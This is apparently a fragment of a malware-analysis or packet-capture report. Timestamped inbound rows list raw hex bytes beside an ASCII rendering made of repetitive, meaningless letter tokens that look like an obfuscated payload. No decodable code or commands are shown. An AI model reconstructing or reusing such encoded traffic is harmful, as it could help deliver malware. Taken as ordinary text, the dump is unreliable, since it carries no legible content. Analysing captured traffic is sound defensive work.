NNr NNY NCN II YV rI YC rI LI N NNW NCW C Mc rc YC Yr Wr VW NCc NCW NNV Yc LY YL cW Nc NNY NNM NCM WW YI LL YI LW IC WW NNV N
2021-10-29 18:10:44 UTC	1270	IN	Data Raw: 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 72 20 63 20 4e 20 72 56 20 72 49 20 4c 4c 20 59 57 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 72 59 20 4e 20 4e 20 59 4d 20 49 4d 20 57 43 20 63 56 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 43 20 56 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 43 4c 20 57 4e 20 63 43 20 59 43 20 4c 63 20 4c 72 20 4e 56 72 20 49 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 57 4c 20 4e 4e 20 59 43 20 59 72 20 57 72 20 4e 56 43 20 4e 4d 4e 20 4e 4e 43 20 49 63 20 56 4c 63 20 72 49 20 59 56 20 56 49 20 49 59 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 72 20 59 43 20 4c 20 4e 4e 4e 20 4e 4e 72 20 4e 4e 49 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 4c 4c 20 63 20 49 63 20 4e 4e 72 20 49 56 20 4e 43 57 20 4e 4e 56 20 Data Ascii: Ir NNr NVM NNr c N rV rI LL YW IY NNM NCW NVV rY N N YM IM WC cV NCW NNV Yc YC Vc rC Ir NNr NNY NCL WN cC YC Lc Lr NVr Ir NNM NCW NNI WL NN YC Yr Wr NVC NMN NNC Ic VLc rI YV VI IY WI NNM NCW NNV YC Yr YC L NNN NNr NNI WI NNV YC rW LL c Ic NNr IV NCW NNV
2021-10-29 18:10:44 UTC	1271	IN	Data Raw: 57 4c 20 4e 43 4e 20 4e 4e 56 20 59 43 20 56 4d 20 57 4c 20 56 72 49 20 49 59 20 4e 4e 72 20 4e 4e 59 20 56 20 4e 63 4e 20 59 4e 20 72 49 20 59 56 20 63 43 20 4e 4c 49 20 4e 4e 4c 20 49 4c 20 4e 4d 57 20 4e 4e 56 20 56 4c 63 20 59 4e 20 56 43 20 56 4c 56 20 49 72 20 4e 4e 63 20 57 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4e 4c 20 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 4d 20 72 57 20 59 43 20 59 72 20 4d 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 49 4c 20 59 4e 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 72 20 59 4e 20 59 72 20 49 72 20 57 43 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 Data Ascii: WL NCN NNV YC VM WL VrI IY NNr NNY V NcN YN rI YV cC NLI NNL IL NMW NNV VLc YN VC VLV Ir NNc WY NCW NNV YC NNL c Yr Ir NNr NNM NCW NNV YM rW YC Yr Mc NNr NNM NCW IL YN rI YC YL Ir NNr NNM WI NNV YC rW YC Yr Ir NNr NVN NCW NNV YC rr YN Yr Ir WC NNc NCW NNV
2021-10-29 18:10:44 UTC	1272	IN	Data Raw: 20 4e 56 63 20 72 43 20 4e 4e 72 20 57 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 56 20 4e 4e 72 20 56 72 57 20 56 59 59 20 4e 4e 56 20 72 57 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 59 20 4e 4e 56 20 4e 4e 72 20 72 57 20 59 43 20 59 72 20 57 59 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4c 20 4e 56 4e 20 72 57 20 59 43 20 72 49 20 57 72 20 4e 4e 56 20 56 63 20 59 56 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 43 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 56 20 4d 56 20 4e 72 59 20 72 49 20 59 43 20 59 72 20 49 4c 20 56 57 20 4e 56 56 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 49 20 4c 4d 20 59 72 20 49 72 20 4e 4e 59 20 4e 56 4e 20 4e 43 4e 20 4c 4e 20 4e 4e 43 20 72 49 20 59 43 20 63 43 20 4c 49 20 56 72 4d Data Ascii: NVc rC NNr WM NCW NNV YC rI YC Yr IV NNr VrW VYY NNV rW YI YC Yr IY NCY cW NCY NNV NNr rW YC Yr WY NNr NNM NVr L NVN rW YC rI Wr NNV Vc YV NNV YC YI WL NCW Ir NNr NVM NCV MV NrY rI YC Yr IL VW NVV NCW NNV Yc cI LM Yr Ir NNY NVN NCN LN NNC rI YC cC LI VrM
2021-10-29 18:10:44 UTC	1274	IN	Data Raw: 20 4e 56 4e 20 4e 43 57 20 4e 4e 56 20 4c 59 20 63 4d 20 72 4c 20 59 72 20 49 72 20 4e 56 43 20 4e 56 4d 20 4e 4e 4e 20 4e 72 20 72 49 20 72 57 20 59 43 20 59 43 20 4e 4e 4c 20 57 59 20 57 49 20 4d 59 20 4e 72 20 59 4e 20 72 57 20 59 43 20 59 43 20 4e 4d 43 20 4e 4e 63 20 4e 59 4e 20 4e 43 49 20 4e 4e 56 20 59 56 20 63 4d 20 72 43 20 59 72 20 49 72 20 4e 56 43 20 49 43 20 56 4c 4d 20 4e 4e 72 20 59 4e 20 72 49 20 59 72 20 4c 43 20 49 59 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 4c 4e 20 72 63 20 72 49 20 59 43 20 63 43 20 57 59 20 4d 72 20 63 72 20 4e 43 49 20 4e 4e 56 20 59 43 20 59 59 20 57 4c 20 72 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 57 4d 20 4e 56 43 20 72 56 20 4c 57 20 4c 4d 20 4e 49 4d 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 4c 63 20 Data Ascii: NVN NCW NNV LY cM rL Yr Ir NVC NVM NNN Nr rI rW YC YC NNL WY WI MY Nr YN rW YC YC NMC NNc NYN NCI NNV YV cM rC Yr Ir NVC IC VLM NNr YN rI Yr LC IY NNr NNM MC LN rc rI YC cC WY Mr cr NCI NNV YC YY WL rL Ir NNr NVM WM NVC rV LW LM NIM NV NNr NNM NCI IY Lc
2021-10-29 18:10:44 UTC	1275	IN	Data Raw: 72 49 20 59 43 20 59 72 20 4e 4c 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 72 43 20 59 4e 20 72 49 20 59 43 20 59 63 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4d 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 4d 20 59 4e 20 59 72 20 49 72 20 56 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 72 57 20 72 49 20 59 43 20 59 72 20 57 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 4e 4e 72 20 59 43 20 72 49 20 59 43 20 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 72 56 20 4e 4e 4c 20 59 43 20 72 49 20 4d 72 20 59 59 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 59 43 20 59 72 20 72 56 Data Ascii: rI YC Yr NLI NNr NNM NCW rC YN rI YC Yc Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr MV NCW NNV YC VM YN Yr Ir Vc NNc NCW NNV rW rI YC Yr Wr NNr NNM NCI NNr YC rI YC M Ir NNr NNM rV NNL YC rI Mr YY Ir NNr NVM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YV rI YC Yr rV
2021-10-29 18:10:44 UTC	1276	IN	Data Raw: 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 72 57 20 59 43 20 72 49 20 59 63 20 49 57 20 57 49 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 56 20 59 63 20 4c 59 20 59 43 20 4d 49 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 56 56 63 20 56 43 49 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57 20 4d 4e 20 59 43 20 72 49 20 59 63 20 63 57 20 4e 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4c 4e 20 4e 59 49 20 72 49 20 59 43 20 72 49 20 59 57 20 4d 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 49 20 59 4e 20 59 72 20 49 56 20 57 57 20 4e 4e 59 Data Ascii: YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc NWL NNV YC Yr WL NL Ir NNr NVM cW rW YC rI Yc IW WI NNY NNM NCM WM YV Yc LY YC MI VYY rM NCW NNV YN VN VVc VCI Ir NNr NNL cW MN YC rI Yc cW NCI NNr NNM NCL LN NYI rI YC rI YW ML NNM NCW NVV WL I YN Yr IV WW NNY
2021-10-29 18:10:44 UTC	1278	IN	Data Raw: 59 63 20 4d 49 20 72 72 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 4e 72 20 4e 4e 56 20 59 43 20 59 49 20 4c 72 20 59 72 20 49 63 20 4e 43 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 4c 56 20 4d 59 20 72 63 20 56 4c 56 20 4e 56 56 20 4c 4e 20 49 59 20 72 49 20 59 43 20 63 43 20 57 59 20 4e 4e 4d 20 4e 43 57 20 56 72 4d 20 4e 4e 43 20 4e 57 4e 20 4e 43 63 20 59 43 20 59 72 20 49 59 20 49 4d 20 4e 63 59 20 56 72 4c 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4c 43 20 4d 56 20 59 43 20 72 49 20 59 63 20 4c 43 20 57 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 56 20 59 56 20 59 59 20 4c 4d 20 4e 4d 56 20 57 72 20 49 57 20 4e 4e 4c 20 4e 43 63 20 4e 43 56 20 4e 63 49 20 59 49 20 56 4c 63 20 59 4c 20 4e Data Ascii: Yc MI rr Yr Ir NVC Vc NNr NNV YC YI Lr Yr Ic NCN VrI YY NNV YC rW VL LV MY rc VLV NVV LN IY rI YC cC WY NNM NCW VrM NNC NWN NCc YC Yr IY IM NcY VrL NNV YC YV Vc N Ir NNr NVM LC MV YC rI Yc LC W NNr NNM NCL WV YV YY LM NMV Wr IW NNL NCc NCV NcI YI VLc YL N
2021-10-29 18:10:44 UTC	1279	IN	Data Raw: 72 20 49 59 20 49 4d 20 4e 63 59 20 4e 63 56 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4c 43 20 4d 56 20 59 43 20 72 49 20 59 63 20 63 49 20 72 57 20 4e 4e 4c 20 4e 4e 4d 20 56 57 20 4e 72 20 72 72 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 4e 43 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 57 56 20 59 43 20 59 72 20 57 72 20 56 57 20 72 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 4c 59 20 59 4d 20 4c 57 20 57 72 20 57 43 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 57 20 57 56 20 4c 57 20 57 59 20 57 43 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 57 20 49 4d 20 4c 43 20 59 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 4d 20 59 63 20 56 72 20 4e 56 4e 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 56 20 4e 4e 56 Data Ascii: r IY IM NcY NcV NNV YC YV Vc N Ir NNr NVM LC MV YC rI Yc cI rW NNL NNM VW Nr rr rI YC cC NVr NCW NNM NCW NVV WL WV YC Yr Wr VW rL NCW NNV Yc LY YM LW Wr WC ML NCW NNV Yc VW WV LW WY WC ML NCW NNV Yc VW IM LC YV NNr NNM NCL WM Yc Vr NVN Yr Ir NVC Vc NV NNV
2021-10-29 18:10:44 UTC	1280	IN	Data Raw: 4d 20 4e 43 4d 20 57 43 20 63 49 20 59 43 20 56 63 20 4c 59 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4c 4e 20 49 59 20 59 72 20 72 49 20 63 63 20 4c 43 20 4e 72 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 59 63 20 72 49 20 59 43 20 56 57 20 49 4d 20 4e 4e 49 20 56 63 20 4e 4c 4c 20 4e 4e 4c 20 59 43 20 59 72 20 56 72 20 59 72 20 4d 4e 20 63 63 20 4e 56 63 20 4e 43 57 20 57 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 49 20 4c 57 20 72 49 20 59 43 20 72 49 20 4c 49 20 72 59 20 4e 4e 4c 20 4e 43 57 20 43 20 56 63 20 56 4c 4c 20 59 43 20 59 72 20 49 56 20 57 43 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 56 59 20 59 4e 20 59 72 20 59 4e 20 57 43 20 4e 4e 49 20 4e 56 4c 20 4e 43 72 20 4e 56 63 20 59 56 20 63 56 20 59 Data Ascii: M NCM WC cI YC Vc LY Ir NNr NNY LN IY Yr rI cc LC NrN NNr NNM NCM II Yc rI YC VW IM NNI Vc NLL NNL YC Yr Vr Yr MN cc NVc NCW WV YC rI YC Yr Ir NNr NNM NNN II LW rI YC rI LI rY NNL NCW C Vc VLL YC Yr IV WC NVc NCW NNV VY YN Yr YN WC NNI NVL NCr NVc YV cV Y
2021-10-29 18:10:44 UTC	1282	IN	Data Raw: 49 49 20 49 57 20 4e 43 4d 20 4e 49 4d 20 63 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 4e 56 59 20 59 4c 20 59 59 20 4e 49 49 20 57 59 20 4d 59 20 57 49 20 72 72 20 4e 43 4e 20 4e 43 56 20 72 59 20 4c 56 20 56 63 20 49 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 63 20 4e 43 56 20 59 57 20 4c 49 20 59 4c 20 4e 49 72 20 63 4e 20 4e 56 56 20 56 59 4e 20 72 20 72 4e 20 56 63 20 57 59 20 59 43 20 59 72 20 57 72 20 4e 20 4e 43 56 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 4e 20 59 56 20 4c 72 20 57 4c 20 4e 56 56 20 56 63 20 4d 4d 20 4e 4e 56 20 59 43 20 59 72 20 4c 4c 20 59 43 20 4e 4c 49 20 4e 4e 57 20 49 4c 20 4e 4d 57 20 4e 4e 56 20 4c 49 20 56 63 20 4c 59 20 59 43 20 4e 56 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 57 63 20 59 43 20 72 49 20 59 43 20 59 72 20 Data Ascii: II IW NCM NIM cC NNr NNM NCI NVY YL YY NII WY MY WI rr NCN NCV rY LV Vc IW Ir NNr NVM NCc NCV YW LI YL NIr cN NVV VYN r rN Vc WY YC Yr Wr N NCV NCW NNV YV YN YV Lr WL NVV Vc MM NNV YC Yr LL YC NLI NNW IL NMW NNV LI Vc LY YC NVc NNr NNM NCI Wc YC rI YC Yr
2021-10-29 18:10:44 UTC	1283	IN	Data Raw: 20 72 49 20 4c 57 20 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 56 20 56 72 20 4d 4e 20 59 72 20 49 72 20 4e 56 43 20 4e 4e 56 20 56 20 43 20 59 43 20 72 49 20 59 63 20 63 4e 20 49 63 20 4e 4e 63 20 4d 20 56 72 43 20 4e 4e 4d 20 59 43 20 63 72 20 59 4c 20 72 57 20 56 4e 49 20 56 4d 20 57 57 20 63 57 20 4e 43 4d 20 59 43 20 72 49 20 59 56 20 56 63 20 49 56 20 4e 20 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 4d 72 20 59 56 20 56 49 20 4d 4e 20 63 63 20 4e 56 4d 20 4e 43 57 20 56 72 4e 20 59 43 20 72 49 20 59 43 20 4c 59 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 4e 59 20 63 72 20 4e 4c 59 20 59 59 20 59 72 20 4c 63 20 57 43 20 49 4e 20 4e 43 57 20 4e 4e 56 20 59 56 20 4c 49 20 56 63 20 63 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 4c 20 4e 4e 49 20 Data Ascii: rI LW L NNM NCW NVV MV Vr MN Yr Ir NVC NNV V C YC rI Yc cN Ic NNc M VrC NNM YC cr YL rW VNI VM WW cW NCM YC rI YV Vc IV N r NCW NNV Yc Mr YV VI MN cc NVM NCW VrN YC rI YC LY Ir NNr NCC NNN NNY cr NLY YY Yr Lc WC IN NCW NNV YV LI Vc cW Ir NNr NVM NCL NNI
2021-10-29 18:10:44 UTC	1284	IN	Data Raw: 43 20 56 56 72 20 56 72 20 49 56 20 59 72 20 49 72 20 4e 56 43 20 4e 43 63 20 57 4d 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 4c 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 56 63 20 49 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4c 4e 20 63 63 20 72 49 20 59 43 20 63 43 20 49 4d 20 4e 4e 49 20 57 4c 20 4d 72 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 49 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4d 4e 20 4e 4e 56 20 59 43 20 72 4c 20 56 20 59 4c 20 49 72 20 4e 4e 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4c 4c 20 72 49 20 59 43 20 4c 57 20 49 63 20 57 72 20 4e 4e 4c 20 4e 4e 4e 20 56 59 72 20 4c 4e 20 59 56 20 4c 49 20 63 43 20 4e Data Ascii: C VVr Vr IV Yr Ir NVC NCc WM VYL NCr rI YC YY NNL NcV NLY NCW NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI Vc II Ir NNr NVM NNN LN cc rI YC cC IM NNI WL Mr NNV YC Yr WL IM Ir NNr NVM MN NNV YC rL V YL Ir NNN NNM NCW NNV LL rI YC LW Ic Wr NNL NNN VYr LN YV LI cC N
2021-10-29 18:10:44 UTC	1285	IN	Data Raw: 59 20 59 4c 20 4c 4c 20 4e 56 20 4e 43 63 20 72 43 20 63 72 20 4e 56 72 20 59 56 20 63 63 20 4e 4e 63 20 72 57 20 49 72 20 56 20 57 4c 20 4d 43 20 4e 4e 56 20 59 43 20 59 49 20 59 63 20 72 57 20 63 4d 20 72 56 20 4e 56 63 20 4e 43 63 20 4e 4e 72 20 57 4c 20 4e 4d 49 20 59 43 20 59 72 20 57 72 20 4d 4d 20 4c 57 20 4e 72 63 20 4e 72 4c 20 56 43 59 20 59 72 20 56 72 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 56 20 57 4c 20 4e 4e 4d 20 59 43 20 4e 4e 56 20 59 43 20 59 72 20 49 72 20 4e 43 4d 20 4e 4e 4d 20 4e 43 57 20 57 4d 20 63 59 20 4e 4d 57 20 59 43 20 59 72 20 57 72 20 4e 56 43 20 57 57 20 4e 43 56 20 57 4e 20 56 43 20 59 72 20 72 49 20 72 57 20 59 57 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 72 57 20 59 59 20 72 57 20 49 57 20 56 43 49 20 4e 4e 72 20 Data Ascii: Y YL LL NV NCc rC cr NVr YV cc NNc rW Ir V WL MC NNV YC YI Yc rW cM rV NVc NCc NNr WL NMI YC Yr Wr MM LW Nrc NrL VCY Yr Vr Yr Ir NNr NCV WL NNM YC NNV YC Yr Ir NCM NNM NCW WM cY NMW YC Yr Wr NVC WW NCV WN VC Yr rI rW YW IY NNM NCW NVV rW YY rW IW VCI NNr
2021-10-29 18:10:44 UTC	1287	IN	Data Raw: 4e 4d 43 20 59 72 20 49 4e 20 4e 56 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 72 4e 20 43 20 59 4e 20 59 72 20 63 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 43 4d 20 59 43 20 72 49 20 4c 59 20 59 56 20 72 4d 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 57 4c 20 59 43 20 59 4e 20 59 72 20 49 56 20 4e 56 43 20 4e 4d 4e 20 4e 43 72 20 49 63 20 4c 63 20 59 49 20 56 4c 63 20 59 72 20 49 56 20 49 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 4c 56 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 63 20 63 43 20 72 49 20 59 59 20 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 4e 49 20 63 72 20 72 49 20 72 49 20 4c 4d 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 43 20 4e 43 57 20 4e 4e 56 20 4c 59 20 59 43 20 4d 4c 20 59 56 20 49 72 20 Data Ascii: NMC Yr IN NVY NNM NCW NNL rN C YN Yr cY NNr NNM NCW NCM YC rI LY YV rM NNV NNM NCW NNc WL YC YN Yr IV NVC NMN NCr Ic Lc YI VLc Yr IV II NNM NCW NNV YN LV YC Yr Ir NNr NNM NCW NVc cC rI YY YM Ir NNr NNc NNI cr rI rI LM Yr Ir NNr NNC NCW NNV LY YC ML YV Ir
2021-10-29 18:10:44 UTC	1288	IN	Data Raw: 56 20 72 57 20 49 57 20 49 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 4e 56 56 20 56 4c 63 20 59 4c 20 56 43 20 4c 56 20 57 72 20 4e 4d 56 20 4e 4e 4d 20 4e 43 4d 20 57 43 20 59 43 20 72 49 20 59 4e 20 4c 49 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 63 4c 20 63 4e 20 59 72 20 49 4e 20 4e 56 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 72 4e 20 43 20 72 49 20 59 72 20 63 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 43 49 20 59 43 20 72 49 20 4c 59 20 59 56 20 72 4d 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 72 57 20 57 59 20 4c 63 20 59 59 20 49 72 20 4e 4e 63 20 4e 56 4d 20 4e 4d 57 20 4e 4e 4d 20 56 43 20 4c 49 20 59 63 20 56 4c 56 20 49 72 20 4e 4e 63 20 57 59 20 4e 43 57 20 4e 4e 56 20 59 4e 20 4c 56 20 59 43 20 59 72 20 Data Ascii: V rW IW IL NNY NNM NCM NVV VLc YL VC LV Wr NMV NNM NCM WC YC rI YN LI Ir NNr NNM NCW NNV YC cL cN Yr IN NVY NNM NCW NNL rN C rI Yr cc NNr NNM NCW NCI YC rI LY YV rM NNV NNM NCW NNc rW WY Lc YY Ir NNc NVM NMW NNM VC LI Yc VLV Ir NNc WY NCW NNV YN LV YC Yr
2021-10-29 18:10:44 UTC	1289	IN	Data Raw: 4e 43 56 20 59 43 20 72 49 20 59 43 20 72 56 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 4e 20 72 49 20 72 49 20 59 43 20 59 43 20 49 4d 20 56 57 20 4e 43 56 20 4e 43 49 20 4e 4e 56 20 59 56 20 59 49 20 56 4c 63 20 59 4e 20 4e 4e 72 20 4e 43 43 20 4e 56 4d 20 4e 4d 57 20 4e 4e 56 20 59 56 20 56 63 20 59 43 20 59 72 20 49 59 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 4d 20 57 4e 20 4e 4e 72 20 4e 4e 56 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 72 4e 20 63 20 49 63 20 4e 4e 72 20 57 57 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 72 20 59 43 20 59 72 20 63 57 20 4e 4e 56 20 4e 72 20 4e 4e 4e 20 4e 4e 56 20 59 43 20 59 56 20 72 57 20 49 57 20 57 72 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 4e 56 56 20 56 4c 63 20 59 4c 20 56 Data Ascii: NCV YC rI YC rV Ir NNr NCC NNN NN rI rI YC YC IM VW NCV NCI NNV YV YI VLc YN NNr NCC NVM NMW NNV YV Vc YC Yr IY WI NNM NCW NNV YC rI YC YM WN NNr NNV WI NNV YC rW rN c Ic NNr WW NCW NNV YC rr YC Yr cW NNV Nr NNN NNV YC YV rW IW Wr NNY NNM NCM NVV VLc YL V
2021-10-29 18:10:44 UTC	1291	IN	Data Raw: 63 20 57 59 20 4e 43 49 20 57 63 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 4c 20 4e 56 4d 20 4e 4e 56 20 63 56 20 63 4c 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 4e 43 20 4e 4e 56 20 72 56 20 72 49 20 59 43 20 59 72 20 4d 57 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4e 4e 72 20 4d 4c 20 59 43 20 59 43 20 59 72 20 49 43 20 4e 4e 4c 20 4e 4e 4c 20 56 20 4e 43 59 20 59 4e 20 72 49 20 59 56 20 4c 4c 20 57 72 20 4e 4d 56 20 4e 4e 56 20 4d 59 20 4e 43 56 20 59 63 20 56 4c 49 20 59 43 20 72 49 20 4e 56 63 20 4e 4e 59 20 4e 43 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 63 57 20 57 57 20 4e 4e 4d 20 4e 43 72 20 4e 56 4d 20 59 43 20 72 49 20 59 4e 20 4e 56 20 49 63 20 4e 43 4e 20 56 63 20 4c 63 20 4e 4e 56 20 Data Ascii: c WY NCI Wc YC rI YC Yr Ir NNr NCL NVM NNV cV cL YC Yr IY NCY cW NNC NNV rV rI YC Yr MW NNr NNM NVr NNr ML YC YC Yr IC NNL NNL V NCY YN rI YV LL Wr NMV NNV MY NCV Yc VLI YC rI NVc NNY NCN NCW NNV YC rI YC Yr cW WW NNM NCr NVM YC rI YN NV Ic NCN Vc Lc NNV
2021-10-29 18:10:44 UTC	1292	IN	Data Raw: 20 57 49 20 59 63 20 4d 49 20 59 59 20 59 72 20 49 72 20 4e 4e 49 20 4e 4e 20 4e 43 63 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 56 4d 20 49 72 20 4e 4e 72 20 4e 4e 59 20 63 57 20 4e 57 59 20 59 4e 20 72 49 20 59 56 20 4c 57 20 57 72 20 4e 56 4d 20 4e 4e 20 4e 43 4e 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 49 57 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 56 63 20 4e 4e 63 20 56 59 20 59 49 20 4e 49 20 4e 57 43 20 4d 4e 20 4e 4e 72 20 4e 4e 4d 20 63 57 20 56 4c 57 20 59 43 20 72 49 20 59 63 20 4c 57 20 49 43 20 4e 4e 63 20 4e 56 59 20 4e 56 4d 20 4e 4e 59 20 57 4c 20 4e 49 59 20 59 43 20 59 72 20 49 56 20 57 72 20 4e 59 63 20 4e 43 43 20 57 57 20 59 59 20 4c 72 20 59 59 20 63 57 20 56 4e 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 4e 72 4c 20 72 57 Data Ascii: WI Yc MI YY Yr Ir NNI NN NCc NNV YC YV Vc VM Ir NNr NNY cW NWY YN rI YV LW Wr NVM NN NCN NNV YC YV Vc NIW Ir NNr NNY NVc NNc VY YI NI NWC MN NNr NNM cW VLW YC rI Yc LW IC NNc NVY NVM NNY WL NIY YC Yr IV Wr NYc NCC WW YY Lr YY cW VNc NNY NNM NCM II NrL rW
